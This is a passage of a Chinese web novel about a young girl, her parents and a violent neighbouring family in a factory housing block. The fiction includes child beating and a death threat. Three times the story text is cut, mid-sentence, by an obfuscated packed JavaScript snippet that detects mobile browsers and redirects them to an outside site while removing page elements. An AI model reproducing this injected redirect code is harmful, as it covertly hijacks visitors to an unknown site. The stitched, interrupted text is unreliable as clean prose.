说完,她走下椅子,抬手扶起男孩,她看着不强壮,但其实继承了母亲,力气很大,一下就把男孩从地上强行拎了起来。 “现在老师也讨厌你了。” 她微笑着,在男孩面前小声说。 “哇——!!!!” 尖叫声响彻教室。 闵朝言坐在教师办公室外面,靠着墙看天空。 她总喜欢看天空。 “厉害呀,一年级开学第一天就被找家长了。” 倪淮玉走过来,在闵朝言身边蹲下。 闵朝言看了他一眼,没说话。 “你不害怕?” 倪淮玉笑了下。 “我不会害怕。” 闵朝言回答。 她不知道什么是害怕,她在书上看到过,但是自己从来没感受过。 闵朝言知道自己是一个有点奇怪的小孩。 “挺好的,什么也不怕,晚上睡得香嘛。” 倪淮玉点点头,笑出声来。 “你是一个有点奇怪的大孩子。” 闵朝言说。 “真的吗?我居然不知道。” 倪淮玉逗她。 “我是一个有点奇怪的小孩子。” 闵朝言说。 “这个我同意。” 倪淮玉赞同。 “我们可以一起奇怪。” 闵朝言看着他,露出一个笑脸。 奇怪的小孩在上学的第一天,弄哭了两个同学,被罚站在办公室外面一次, 然后, 找到了一个可以一起奇怪的大孩子。 51. 芳芳纺织厂(3) 附小教师办公室里, 闵长风和另外两个家长坐在老师的对面。 圆滚滚的男孩哭得喘不上气,一张脸都泛起紫红色,趴在母亲怀里啜泣着。 “朝言妈妈呀,是这样的,我们也了解情况了,这件事情上,朝言确实没有什么错。不过……” 老师露出有点为难的表情。 “升祺小朋友哭得这么厉害,能不能让朝言和他稍微,稍微道个歉,两个小朋友握手言和呢?” 老师自己也心虚,可是她又不得不做这个和事佬。 郝升祺有天生的哮喘,要是一直哭个不停出了什么事,她真是担不起这个责任。 坐在对面的闵长风没说话,她笑眯眯地看着郝洋的家长,压根不接话: “诶呀,郝洋身上的衣服好好看呀,这个料子可贵了,你妈妈真的心疼你。” “闵同志,我们也知道委屈了朝言,麻烦你劝劝孩子。” 抱着郝洋的女人年岁大约四十岁,面色雍容,保养得很不错,说话时也很有教养。 “你们新搬家,一定有很多忙的,车间那里,暂时缓两天也没有关系,不用担心指标。” 她说。 闵长风见过她,在每个月的生产动员大会上,她坐在“工程科科长”的牌子后面,也是这样一副很温和有教养的样子。 确实,名牌大学毕业,高知家庭出身,厂里最年轻的总工程师,这样的人不需要剽悍泼辣,就能得到想要的东西。 “多谢您体贴,不过倪主任对我有提拔之恩,我们车间工友都应该一起齐心努力,应该的。” 闵长风笑着回答,还是不接话。 “朝言真是个可爱的孩子,不像我家这个,叫他奶奶宠坏了,说天就是地的,其实他向朝言道歉,毕竟是他非要当什么大英雄,结果自己吃了瘪,真是活该。” 郝科长脸上带上笑意,轻轻拍了下儿子的屁股。 “要是我生的也是个朝言那样聪明的女儿就好了。” 郝科长感叹。 “哎呀,小孩子之间说说闹闹的,要什么道歉呢?阿姨觉得呀,你以后肯定能成大英雄!” 闵长风笑眯眯地看着郝升祺。 郝洋抽噎着看着她,又把头埋回去了。 “郝升祺,对不起。” 一个童声从走廊的窗户里扎进办公室,闵朝言敲了敲半开的玻璃窗,看着里面的小男孩。 郝升祺抽抽鼻子,从母亲怀里抬起头,看着闵朝言,眼睛里还有泪花。 “我没有欺负白百福,她就是爱哭。你也没有欺负我,你是想保护同学。我原谅你,你也原谅我?” 闵朝言朗声说,声音清脆。 “那、那你要和我做朋友。” 郝升祺抹了一把眼睛,巴巴看着闵朝言。 “好啊,我们回教室吧?你可以和我做同桌,你个子高,能看见黑板。” 闵朝言说。 “好、好!” 郝升祺从母亲腿上跳下来,小跑着到闵朝言身边,气喘吁吁的。 “我们比赛谁先回去,我让你十秒钟,你快跑!” 闵朝言说着,捂住眼睛: “一、二……” 郝升祺马上抬腿跑了,他跑得慢,走两步停一下,又怕输了,赶紧起来再跑。 “额,这……升祺小朋友能跑吗?” 老师有点犹豫要不要阻止。 “那孩子太胖了,跑两步就当锻炼锻炼,又跑不快,没事的。” 郝科长笑着说,转头看向闵长风。 闵长风脸上还强挂着笑脸,眼神里却没什么笑意了。 “闵同志呀,你有福气,生了个顶顶好的女儿,聪明又懂事。我真羡慕你。” 郝科长说着,对窗外的闵朝言打了个招呼,眼中满是真实的笑意。 “一起回车间吧?” 闵长风没拒绝,走过去抱了抱女儿,就走了。 “你为什么道歉,你什么都没做错啊?” 送闵朝言回班级的路上,倪淮玉问。 “因为这样最简单。” 闵朝言回答,她慢悠悠走着。 “你走这么慢,肯定要输了。” 倪淮玉打趣。 “我没想要赢。” 闵朝言摇头。 “那你为什么要和他比赛?还说要和他做朋友。” 倪淮玉不解。 “他好烦,我要让他白跑一趟,跑得很累。” 闵朝言露出一点狡黠笑意。 她可不是没有报复心的小孩。 “那做朋友呢?” 倪淮玉不懂。 “做我的朋友,我就可以让他跑来跑去。” 闵朝言拍了拍手,显然已经有了下一步的鬼点子。 “你想干什么?” 倪淮玉乐了。 “明天告诉你。” 闵朝言走回教室,对着他摆摆手: “再见。” 小学的第一天只有半天,基本发完书排完座位就放学了。 放学的时候,闵长风又来接闵朝言了。 一出校门,她伸出双臂紧紧抱住闵朝言。 她抱得很用力,将女儿整个人拢进自己的怀里,闭上眼,深深叹了口气。 “妈妈对不起你。” 她说。 “妈妈没做错事啊。” 闵朝言回忆了一下,找不出闵长风道歉的理由。 “要是妈妈更有能耐一点,你就不用道歉了。” 闵长风说。 在教师办公室里,郝科长几次不着痕迹地向闵长风施压,明明在场的人都心知肚明,“让闵朝言道歉”是一个不合理的要求,她却不能直接拒绝,只能假装听不见听不懂,顾左右而言其它。 不就是因为,她闵长风只是一个工人领班,而郝科长是郝科长吗? 可闵长风不愿意松口,她可以自己低头去讨好车间主任,去委屈自己当一个“好人缘”的人,只为了分到更好的房子,拿到更多的指标奖励。 但她不能为了这个委屈自己的女儿,闵长风绝做不到。 她那聪明到了极致的女儿看出来了这一点,才会开口道歉,帮着闵长风化解了这个两难境地。 “言言,妈妈不想你委屈自己。这种事情,以后让妈妈来处理就好了,妈妈可以的。” 闵长风心疼地抚摸着女儿的脸蛋。 “委屈?不委屈。” 闵朝言摇头。 “怎么不委屈,明明不是你的错你都道——你的书包呢?” 闵长风问。 “这里呢。” 闵朝言一指。 “闵朝言,你的书包我帮你背过来啦!” 郝升祺抱着两个书包小跑过来,圆乎的脸上汗津津的,带着笑容。 “你好厉害。” 闵朝言面无表情地说,把自己的书包接过来。 “嘿嘿,一般厉害啦。明天我给你带更厉害的东西!” 郝升祺挠挠头发,有点不好意思,转身跑走了。 “哇……” 闵长风愣了。 这才半天时间,她女儿就把小敌人变成小仆人了? 天才啊。 她暗自感叹。 “你怎么会想和他当朋友?你一般不喜欢交朋友的。” 闵长风牵着闵朝言走在回家的路上。 “因为你要和郝阿姨当朋友。她看上去好厉害,比倪主任还厉害。” 闵朝言回答。 “什么?” 闵长风没听明白。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16617184|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你和爸爸说,我们能住好房子,是因为你和倪主任是朋友。” 闵朝言回答。 “啊……” 闵长风有点明白了。 “你和郝阿姨当朋友了,我想要电视,大电视。” 闵朝言说。 “妈妈努力。” 闵长风被逗笑了,一把抱起女儿,在她脸蛋上重重亲了一口。 “妈妈一定努力!” 萦绕在闵长风心中阴郁的风,终于散去了。 她们的脚步还没到达五号楼,就听见一阵刺耳的摔打声。 “我不管!我们家有三名正式职工,怎么就不能分到五号楼的房子了?!怎么就是四号楼的房子了!我爸妈可是在这个厂干了二十多年的老员工了!” 一个二十来岁的青年愤怒地把自己肩膀上的麻袋放下。 “我老头子为了这个厂,奋斗了一辈子啊……” 一个四十多岁的男人坐在地上,沧桑的脸上满是泪水,粗糙地手拍在地面上,像是石头在捶地。 “怎么又是这家人。” 闵长风翻了个白眼。 “你不知道吧?老曲家申请换房申请了好几年了,这次结果终于下来了,好不容易分到了,结果是四号楼的。厂里考虑他家人多,给分了两间,这还不满意呢。” 闵长风的工友,程新磕着瓜子走过来了,小声说。 “他家还敢闹啊?” 闵长风有点惊讶,同样压低了声音。 坐在五号楼门口的不仅仅是曲建国和他的大儿子曲超英,还有两个人: 一个同样四十多岁,满脸臊红低头不说话的中年妇女,和一个看上去只有三五岁的小男孩,正被女人紧紧抱在怀里。 “哎呦,常姐可是个好人,怎么就嫁给了老曲呢,那个人太滑了,谁不知道他那点小心思啊。” 程新磕着瓜子。 “你就说说他这一屋子孩子吧。老大老二都生了,80年风声下来了,又赶紧抢着生了个儿子,这就算了,那时候政策不仅,厂里睁一只眼闭一只眼就过去了。去年又从农村领回来一个‘大侄子’,真是笑死我了,当谁不知道啊?” 程新嗤笑一声, “这‘大侄子’一住就不走了,明年估计这就该琢磨怎么上学了。你等着吧,到时候还得闹。” 程新吐了一把瓜子皮。 “生那么多干什么?我有言言一个就心满意足了。” 闵长风也摇头。 “他们家两个正式编制,可不就打算着生两个儿子以后接过来?偏生老二是个闺女,就又赶忙着生了个三儿子。” 程新翻了个白眼,很嫌恶的模样: “给大儿子写了介绍信进厂当临时工,就等着接班了。到二姑娘初中毕业的时候,说什么都不管了,介绍信不肯写,中专不肯供,把小姑娘气得直接去南边打工了。” “那个老三也不是什么好东西。” 闵长风想到那个流里流气的小子,皱起眉。 “要我说这都是报应!看不上闺女,结果就养了俩讨债的儿子来。你还不知道吧?老三前些日子被拘啦!要我看,老曲的介绍信可要不管用咯!” 程新咯咯笑了一声。 闵朝言被抱在妈妈怀里,安静地听着。 她爱听这些东西,就像故事书一样,而且不用自己看字,还比故事书有意思。 “那个孩子,就是他们的‘侄子’吗?” 闵朝言指着被中年女人抱在怀里的瘦小男孩。 “那个孩子,可怜哟。” 一向嘴毒的程新感慨了一句。 被抱在怀里的男孩抬头,看向闵朝言。 他的眼睛里什么也没有,没有快乐,没有难过。 一个空心的小孩。 52. 芳芳纺织厂(4) 空心的大人,闵朝言见过很多。 他们看上去忙忙碌碌地跑来跑去,可是其实人眼睛里并没有什么真正会发光发亮的东西。 但是空心的小孩子, 闵朝言还是第一次见。 她觉得有点意思。 闵长风抱着孩子,不好一直站在外面看热闹,她告别了程新,带着闵朝言从单元楼的另一个入口绕路回了下。 大概一个小时之后,厂里的保卫科的科长来了,和老曲单独说了几句话,那一家人也收拾东西走了。 闵朝言趴在窗户边上看着他们离开,那个瘦瘦小小的孩子还被抱在怀里。 他仿佛注意到了闵朝言的视线,抬头看着她。 但闵朝言却不确定自己的身影,究竟有没有真正进入他的眼睛里去。 晚上闵长风做了一整只鸡。 她手艺很好,能用一只鸡做出来五道菜:鸡骨煲鸡汤,鸡胸肉做手撕鸡,鸡腿要做脆皮香煎,两个鸡全翅能拆成六块够做一道红烧,余下的鸡油用来炒青菜可香了。 刚结婚的时候,闵长风是不会做饭的,她从小应付惯了,对自己也是随便塞一口,丈夫更是不在意吃喝,天天吃大馒头也不抱怨。 两人就这样过了一年多糙日子,直到闵朝言出生,闵长风抱着怀里这个小小的孩子,心里只想着一件事: 她一定要让这个孩子,过上比自己好一百倍的日子。 从那之后,闵长风就开始学做饭了,闵父默默吃了快两年的糊饭糊菜,并在这个过程中学会了使用缝纫机,给女儿做了几十件小衣服。 双工人家庭的生活并不紧巴,但也买不起那些最时髦的小洋装皮鞋,闵父从妻子怀孕起就买了裁缝的书,每天偷着时间看几页。 等闵朝言会走路的时候,她已经是件件衣服都精致漂亮的纺织厂洋娃娃了。 “这个大鸡腿,给言言吃!” 闵长风把整个鸡腿夹给闵朝言,笑眯眯看着女儿。 “妈妈给你买了钙片,以后你晚上吃完饭要吃两片,这样的才长得高。妈妈个子不高,干活的时候可不方便了。” 闵长风出身农村,小时候家里困难,一年见不到两回肉,即便过年杀只鸡,鸡腿也是要给父亲和弟弟吃的,母亲吃一点,大姐吃一点,她就只能分到两口鸡皮了。 她总觉得按自己这个天地都要顶的犟劲儿,本来该长得更高点的。 “不过你爸高,你应该也矮不了。” 她又满意了。 纺织厂里有人里议论,说她不看实际,没挑家庭条件好的男人,反而随着心思找了个又高又帅的穷男人。 但他们知道什么?一个又高又帅的父亲,这是母亲给女儿的第一份礼物:好基因! 闵长风笑着咬下丈夫夹给她的另一只鸡腿,也很亲热地把鸡翅夹给他。 一家人就这么吃完了饭,闵朝言坐在木质沙发上看了一会电视,闵长风又带着几个钢镚过来了。 “言言……” 她说。 “我知道,我去天井玩。” 闵朝言伸出手。 闵长风和丈夫一个月的收入在有一千二百块,除去固定的生活费和人情往来,还能存下三百块。 在三百块里,又有三十块是闵朝言的零花钱,闵长风是很舍得给孩子钱的,她觉得会花钱的孩子,不会眼皮子太浅,轻易被小恩小惠收买。 闵朝言来到天井,坐在台阶上看天空。 “小孩,又出来了?” 倪淮玉手里拿着两根冰棍,递给闵朝言一根。 “什么味道的?” 闵朝言接过。 “橘子味的。” 倪淮玉在她身边坐下,咬了一口冰棍。 “哦。” 闵朝言低下头小口嗦。 “我妈和我爸,今天又吵架了。其实也不算吵架吧,就是我爸单方面发疯。他跟有病一样。” 倪淮玉神色恹恹。踢开脚下的石子。 闵朝言没说话,她忙着吃冰棍,也等着听故事。 “这么多年一直都这样,每一次一吵架,我妈就坐在那里看书,当谁也不存在,我爸又喊又叫地发疯,然后累了自己就回屋了。我呢?我哪儿也去不了,只能自己翻窗出去,去踢石头。” 倪淮玉笑了一声,看着闵朝言: “我告诉你个好玩的事吧?” 闵朝言听得很专心,点点头。 “我以前叫吴承宗,跟我爸的姓。后来我妈成车间主任了,我爸还是普通工人,我妈就说了,要是不给我改姓,她就离婚。” 倪淮玉说起这个,笑得很开心, “你没看见我爸当时那个脸色,铁青铁青的,像个大青虫!哈哈哈哈——他一开始不同意,我妈就说,那她就把他的那些杂志扔出去给别人看!你知道什么杂志?就是那种……” 说到这里,倪淮玉停下了,摆摆手, “算了,这个以后再告诉你,反正最后他憋憋屈屈同意了,太好玩儿了!” 闵朝言点点头,说: “倪淮玉好听。” “对啊,我妈是高中生,有点文化的。要不是当初我姥爷非逼她结婚,她肯定不找我爸。” 倪淮玉点点头: “吴承宗多土啊,我才不想承他们老吴家那个破宗呢,每次过年回去都是烟味,臭死了!不过,以后我们估计也不用再回去了,挺好。” 倪淮玉自顾自笑了一阵,三下两下咬完手里的冰棍,轻轻用鞋尖碰了一下闵朝言的鞋子。 “谢谢你,小孩。这种话,我谁也不能说,总觉得憋屈,现在和你说了,心情好点了。” 他说。 闵朝言眨了眨眼,点头: “嗯,故事很有趣。” “怎么,我的悲惨人生就是你的故事会啊?” 倪淮玉又笑开了,手撑在台阶上,大大咧咧地说: “那你就有福气了,这种故事呀,我还有好多好多可以讲呢。” 闵朝言在天井底下坐了一个小时,和倪淮玉一起往回走,两家是隔壁,离得很近。 “阿姨,我把小孩送回来了。” 倪淮玉对着闵长风问好。 “谢谢小倪了,要不要进来坐坐,阿姨给你切点水果!” 闵长风笑着回应。 “谢谢阿姨,不用啦,我先回去写作业了。明天早上我和小孩一起上学吧?” 倪淮玉摇头。 “那就麻烦你啦!到时候阿姨给你做好吃的!” 闵长风应下。 进了房门,闵长风抱着女儿亲了亲,又嘱咐道: “你和小倪哥哥说什么了?就你们俩在底下坐着吗?有别人看见吗?他有没有碰你哪里?” 闵长风是信得过倪主任的人品的,照理来说,她也应该相信倪主任儿子的人品,不过倪淮玉那个爹…… 虽说有可能歹竹出好笋呢,但也不能真的什么也不问。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16623227|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“没有。” 闵朝言摇头。 倪淮玉从头到尾就是给了她一个冰棍,用自己的鞋碰了碰闵朝言的鞋。 “明天哥哥陪你去上学,你要是不喜欢的话,妈妈就提前送你过去?” 闵长风又问。 “没关系,我和倪淮玉是朋友。” 闵朝言又摇头。 “要叫哥哥,人家大你不少呢。朋友就朋友吧,但是要是他想碰你哪里,你一定要躲开,然后告诉妈妈,好不好?” 闵长风给闵朝言蒸了苹果,苹果水在冰箱里放一会儿,凉凉的,但不算冰。 “好。” 闵朝言喝了一口苹果水,回自己房间睡觉了。 以前在职工宿舍里,她家是没有房间的,闵长风用一个帘子挂在中间,给女儿一点隐私。现在搬进了两室一厅,闵朝言终于有自己正经的房间了。 闵长风原本打算好了把大房间给女儿,但闵朝言自己背着小书包进了小卧室,她觉得妈妈和爸爸两个大人在这个小房间里睡觉,会很挤。 闵朝言打开小房间的窗户。 职工家属楼的楼间距都很窄,大约十二米,闵朝言的房间刚刚好在单元楼的折角,和四号楼的一边折角相对,两边的距离就更近了,可能只有不到五米。 闵朝言的视力很好,可以清晰看到对面窗户里的内容。 对面那个房子原本一直是空着的,今天却堆满了东西,窗台前半被搭出来一个简易的晾衣架,一个小男孩正在吃力地将浸满了水的衣服挂上去。 闵朝言记得他,这是她下午回来时候见到的那个,曲家的“侄子”。 不过,在闵朝言的记忆里, 他真正的名字是“空心小孩”。 那件衣服明显是大人的身材,上面的水一点都没有拧干,还在滴滴答答往下落,落在了下面邻居的衣架上。 “喂!你怎么晾衣服的!” 楼下弹出头来骂,看到是个孩子的时候又卡壳了一下,大声说: “叫你们家大人出来!” “干什么呢?吵吵嚷嚷的!” 曲家大儿子探出头来,声音洪亮刺耳。 “你看看你们家小孩儿干的什么活?赶紧把衣服收回去!” 邻居喊。 “你看看你干的什么活?!没教养的东西!会不会说话?啊?!” 曲老大一巴掌扇在男孩脸上,声音更响了,带着浓浓指桑骂槐的意味。 “废物!没用的东西!会不会说话?会不会干活?天天吃白饭的玩意儿,会挂衣服了不起?这都什么破衣服?!没用的货……” 比辱骂更刺耳的一下一下的巴掌声,男孩站在原地,脸很快一片通红肿了起来。 他却一动不动,好像根本就没听见那些辱骂,也没有感受到任何疼痛。 …… 好吵。 闵朝言轻轻叹了口气,关上了窗户,又把窗帘拉上了。 在那窗帘被拉上之前,男孩的视线悄悄抬起,落在对面的窗户。 一个亮着灯光的房间,房间被耍上了淡蓝色的油漆,有一张对于小朋友来说很大的床,有一张崭新的书桌,上面摆着新华字典和各种故事书。 书桌前面坐着一个女孩,她很白,头发扎成精致的四股辫,落在肩膀上,在拉上窗帘前,她曾经短暂地看了他一眼。 在那一眼里,那些他早就已经习惯到麻木的伤, 开始刺骨地疼起来。 53. 芳芳纺织厂(5) 闵朝言早上是被吵醒的,对面的窗户又传来阵阵摔打的声音。 骂声、清晰的巴掌声、还有东西被摔到地上的声音。 很吵。 闵朝言拉开窗帘,对面的窗户里正上演着一场家庭闹剧。 “小杂种!小兔崽子!你昨天故意把我的衣服洗破了是不是!” 怒骂着的是一个十六七岁的男生,明明还是很年轻的年纪,脸色却是蜡黄松垮,眼下青黑一片,眼神浑浊地不像个年轻人。 这应该就是曲家的三儿子。六车间里有名的“不成器”。 据昨天程新所说,他前几天因为打架被拘留了,估计今天早上刚放出来。 此刻,他涨红着脸,抓着曲家“侄子”伸手就打,他使了大力气,一巴掌下去,窗户都震三震。 小孩表情麻木地被拖拽着,头被重重磕在墙面上。 “够了,够了!” 中年女人冲上来拦住大儿子,却被一脚踹开。 “臭娘们,关你什么事?要不是你们两个臭不要脸的非要生个‘侄子’,我用被那些初中里的烂货说三道四吗?!” 曲老三大骂。 “你个畜生玩意!你要不要脸!那是你妈!” 曲老头从屋子里冲出来,手里举着擀面杖,重重打在大儿子肩膀上。 曲老大被重重一打了一擀面杖,气性更上头,他一把推开了父亲,抢过擀面杖就开始锤他。 “老不死的玩意,老不死的东西!我是畜生你是什么?你是老畜生!老畜生被小畜生打了,你活该!” 曲老三一边骂一边打,脸上露出狞笑。 “你个没用的老畜生!你连个工作都不能给我找了?你活着干嘛啊爸?你赶紧去死给我腾位置啊爸!” 正打到尽兴时,他察觉到了一个视线,他的动作瞬间停住,猛地转过头来,看到对窗里站着一个小孩,又松了口气。 “你又是哪家的小兔崽子?够好命的,住到五号楼了?小心哪天摔死你!” 曲老三看着自己家坑坑洼洼的墙面,又看着崭新的对面房间,心下恨极了,恶狠狠地咒骂闵朝言: “小兔崽子,你要是敢到处乱说,老子晚上就跳过去,拧断你的脖子!把你杀了!你闭嘴!” 他的脸因愤怒涨红,本就已经突出的眼珠子几乎要暴出来,眼白被红血丝覆盖,看上去比起人,更像个疯鬼。 曲老三发了一通狠话,觉得自己霸气极了,正要得意,却见对面楼的小孩面无表情地看了他一眼。 没有害怕,没有恐惧,只有早上被吵醒的不满,以及浓浓的无聊。 仿佛她只是在看一场拙劣廉价的舞台剧,正因为台上演员差劲的演技和无趣的故事而感到浪费时间。 “你看什么看?小兔崽子,我今天晚上就去杀了你——!” 曲老三的脖子上爆出青筋,声嘶力竭地吼着,狠话说到一半,却又猛地卡住。 轻手轻脚端着温水和毛巾,要为女儿擦脸的闵父默默走了进来,站在阴影里,安静的看着他。 在那一片灰色中,他的眼睛一眨不眨,死死钉在曲老三身上。 “……、、!” 曲老三拿着擀面杖的手颤抖了。 “好了,闹什么?!我还要去上班呢!你吵到邻居了,到时候他们又要上门来叽叽歪歪,能不能消停点?你想打人去去外边打!” 曲老大呵斥了弟弟一句,连个眼神都没分给挨了一脚的母亲和刚刚被暴打一顿的父亲,声音里带着嫌弃: “曲老三,你记着,爸死了之后的正式工名额是我的!小杂种,等下收拾干净这里,乱糟糟的。” 他穿上工服,谁也没看,转身出门了。 闵朝言眼前的窗帘被缓缓拉上,闵父抱着女儿,蒲扇一样的大手摸了摸她的后脑勺。 “不怕,爸爸在。” 不爱说话的男人并不擅长安慰,但好在他的女儿也并不需要被安慰。 “他们好吵。” 闵朝言靠在父亲怀里,让他给自己擦脸。 “你去住大房间。” 闵父点头,用温热的毛巾给女儿擦干净小脸蛋,低声说: “爸爸让他们安静。” 闵朝言擦完脸清醒了一点,自己踩着小凳子刷了牙,吃饭早饭之后,倪淮玉已经等在门口了。 “走吧,小孩。” 倪淮玉接过闵朝言的书包,和闵长风打了招呼,一大一小两个孩子一起去上学了。 “这小倪还挺不错的,过年咱们给他包个大点的红包。” 闵长风看着两个身影走远,露出一点笑意,转头却发现丈夫坐到了沙发上,明显心情不太好。 “怎么了?” 闵长风走过去,拉住丈夫的手。 “曲家老三,骂了言言。” 闵父的眉头深深拧起来。 “什么?!你说言言对窗那家是老曲家?!” 闵长风瞬间反应了过来。 她和丈夫住在大房间,那正好是楼的另一边拐角,和闵朝言的房间不对着一个房间,于是也就不知道闵朝言对窗那家空房子,刚刚好分配给了曲家。 闵长风消息灵通,老曲家天天这样的鸡飞狗跳,她虽然没见过,但也听说过不少次了。 “嗯。他打人,言言看见了,他说要杀言言。” 闵父说着,拳头攥得很紧,骨头发出爆响。 他是个很传统的男人,把家庭放在一切之上,妻子和女儿就是他这辈子最在意的人,保护家庭就是他这辈子最重要的责任。 “真是敢说啊,呵呵……” 闵长风也不是好脾气的人,她脸上此刻都是怒火,恨不得手撕了曲老三那个贱货。 “我让言言先住大房间。” 闵父说。 “你做得对,本来我也想要言言住主卧,能看见天空。她体贴我们,才一定要住小房间的。” “你也和言言住大房间。” 闵父看着妻子。 “你有想法了?” 闵长风似乎想到了什么,笑了一声。 “现在厂里处分严格了,你可不能打架,被处分就麻烦了。” 她想到什么,又嘱咐。 “嗯,你说过,我记得。” 闵父点头。 他是有编制的正式工人,当然不可以让自己牵扯上任何有关处分的事情,他自己无所谓,但他老婆是工人领班,女儿是聪明学生,他不能让她们俩被人议论。 但是,一个从农村自己走到城市里的男人, 怎么会不认识一些同样出身泥腿子,足够强壮凶狠,又不怕背上一点小小案底的人呢? 中午工休,闵父来到了厂区外不远的一片荒地,那里驻扎着不少拾荒者,靠着工厂的“供给”生存。 “老亏。” 闵父低声打着招呼,递过去一包烟。 “哟,洋货啊。” 被称为老亏的黝黑男人笑了一声,接过来,却没点火。 “不抽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16626895|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 闵父问。 不抽烟,往往代表着这事不成。 “有家有孩子的人了,带一身烟味干什么。咱俩什么关系,你能开口的事,我都给你办。” 老亏哈哈笑了一声,把烟放进口袋里,拍拍胸脯。 “要不是嫂子帮忙补课,我妹妹怎么可能考上中专?这个人情,我记着呢!对了,你家小孩怎么样了?上次看她还不会说话,现在都大了吧?” 老亏问。 “嗯,这次找你,也是为她。” 闵父简短说了一下上午发生的事。 “我*了!那个狗养的**玩意居然这么对小孩说话?你别说了,这事从现在开始跟你没关系了!我看着办!” 老亏气得骂了两句粗口。 “麻烦了。” 闵父说。 “你这可真是进城久了,说话也跟城里人一样了。咱俩什么关系?一条裤子长大的!应该的!” 老亏大力拍拍闵父的肩膀,发出一阵爽朗浑厚的笑声。 一(8)班门口, 闵朝言和倪淮玉挥手告别,进门走到了自己的位置上。 郝升祺比她来得早,此刻正坐在她旁边的位置,有点紧张地看着她,生怕她反悔的样子: “你,你昨天说我可以坐这里的!” “嗯,我们是同桌。” 闵朝言点头,把书包放下,从里面拿出写了自己名字的本子。 “我们也是朋友!” 郝升祺点点头,又补充道。 “你们是朋友?闵朝言,我们才是朋友!” 白百福正捧着自己的小人书走过来,听见这句话,顿时眼睛一红,又要掉小金豆了。 “还有,我听说了,你昨天欺负米找黏!” 白百福指着郝升祺,很不高兴地说。 她是口齿没那么清楚的孩子,会把“闵朝言”说成“米找黏”。 闵朝言已经放弃纠正白百福了,闵长风告诉过她,小孩子上了小学会换牙,旧牙掉下去,新牙长出来,说话就会变得清楚。 她希望白百福马上换牙,长出能把她名字说对的新牙。 “我没有!你是先乱哭的!” 郝升祺的圆脸瞬间红了,站起来反驳,眼睛还一直偷偷看着闵朝言,似乎生怕她想起来两个人昨天的小矛盾。 “我本来就那样!闵朝言都不着急!你乱说别人是坏人!” 白百福更生气了,一边生气一边眼泪吧哒吧哒地掉。 “闵朝言都说没关系了!我们是朋友了!” 郝升祺红着脸,也很大声地说。 闵朝言被这俩人吵得耳朵疼,从口袋里拿出两块橘子糖,站起来给他们俩一次嘴里塞了一块。 “都是朋友。” 她说。 白百福嚼着嘴里的糖,还水蒙蒙的眼睛看看闵朝言,又看看郝升祺,有点嫌弃的样子,但还是点点头。 “好吧,那我和你第一好!他和你第二好!” 白百福嚼着糖说。 郝升祺很明显不服气,但是他昨天才和闵朝言当上朋友,只能嚼着糖委委屈屈地点头,承认自己是第二好。 “那我们要一直当同桌!” 郝升祺说。 闵朝言都点点头,享受着总算安静下来的耳朵。 倪淮玉给的这个糖还挺有用的, 她这么想着,自己也拿了一块橘子糖嚼起来。 有点黏牙,不过还是很甜的。 54. 芳芳纺织厂(6) 比起上学更难的是朋友。 经历了体育课被迫三人跳绳,上楼梯被迫三人一起走,放学时白百福和郝升祺抢着给她拿书包之后,六岁的闵朝言对生命有了新的感悟。 “米朝言,明天见!” 白百福牵着母亲程新的手,和闵朝言告别。 “同桌!明天见!” 看着白百福被母亲接走之后,郝升祺的小胖手飞快地从口袋里掏出了一个东西塞进闵朝言手里。 “这个可好吃可好吃了,我明天再跟你带!” 他小声说,眼睛亮亮的。 闵朝言抬手一看,是一块用金色锡纸包裹起来的巧克力,最顶上有一个小小的椭圆纸片,印着她看不懂的字,闵朝言知道,这是英文。 郝升祺紧张地看着闵朝言打开锡纸咬了一口,还有点馋地咽了下口水。 因为郝升祺需要控制体重,郝主任每天只允许他吃一块巧克力,这是他从早上省到现在,犹豫了好多次都没舍得吃,特意给闵朝言留的。 他上学的时候没敢拿出来,怕白百福吃不到了又要哭,特意等到了放学。 牙齿咬开包裹着坚果的脆壳,嘴里的巧克力很快融化,在舌头上流淌,一种带一点点苦的甜,和所有的奶糖都是不一样的味道,很…… 很好吃。 闵朝言眼睛一亮,又咬了一口,露出一点笑意。 “好吃,谢谢你,郝升祺。” 她说。 郝升祺看到她的反应,一下子却红了眼睛,抹了两把眼泪,不是伤心,而是小孩子心里大石头终于放下之后,那一瞬间的快乐。 “你,你原谅我昨天好不好,我以后每天都给你巧克力!” 郝升祺红着眼睛说。 其实昨天在办公室里,他就知道自己做得不对了。 但郝升祺不知道怎么开口,他觉得自己应该道歉,可是又怕他妈生气——郝主任最讨厌道歉了,她从不道歉的。 那个时候,闵朝言出声了,她明明没错,还是道歉了。 郝升祺觉得开心,他不用纠结自己道不道歉了,可是他又觉得,自己这样好坏。 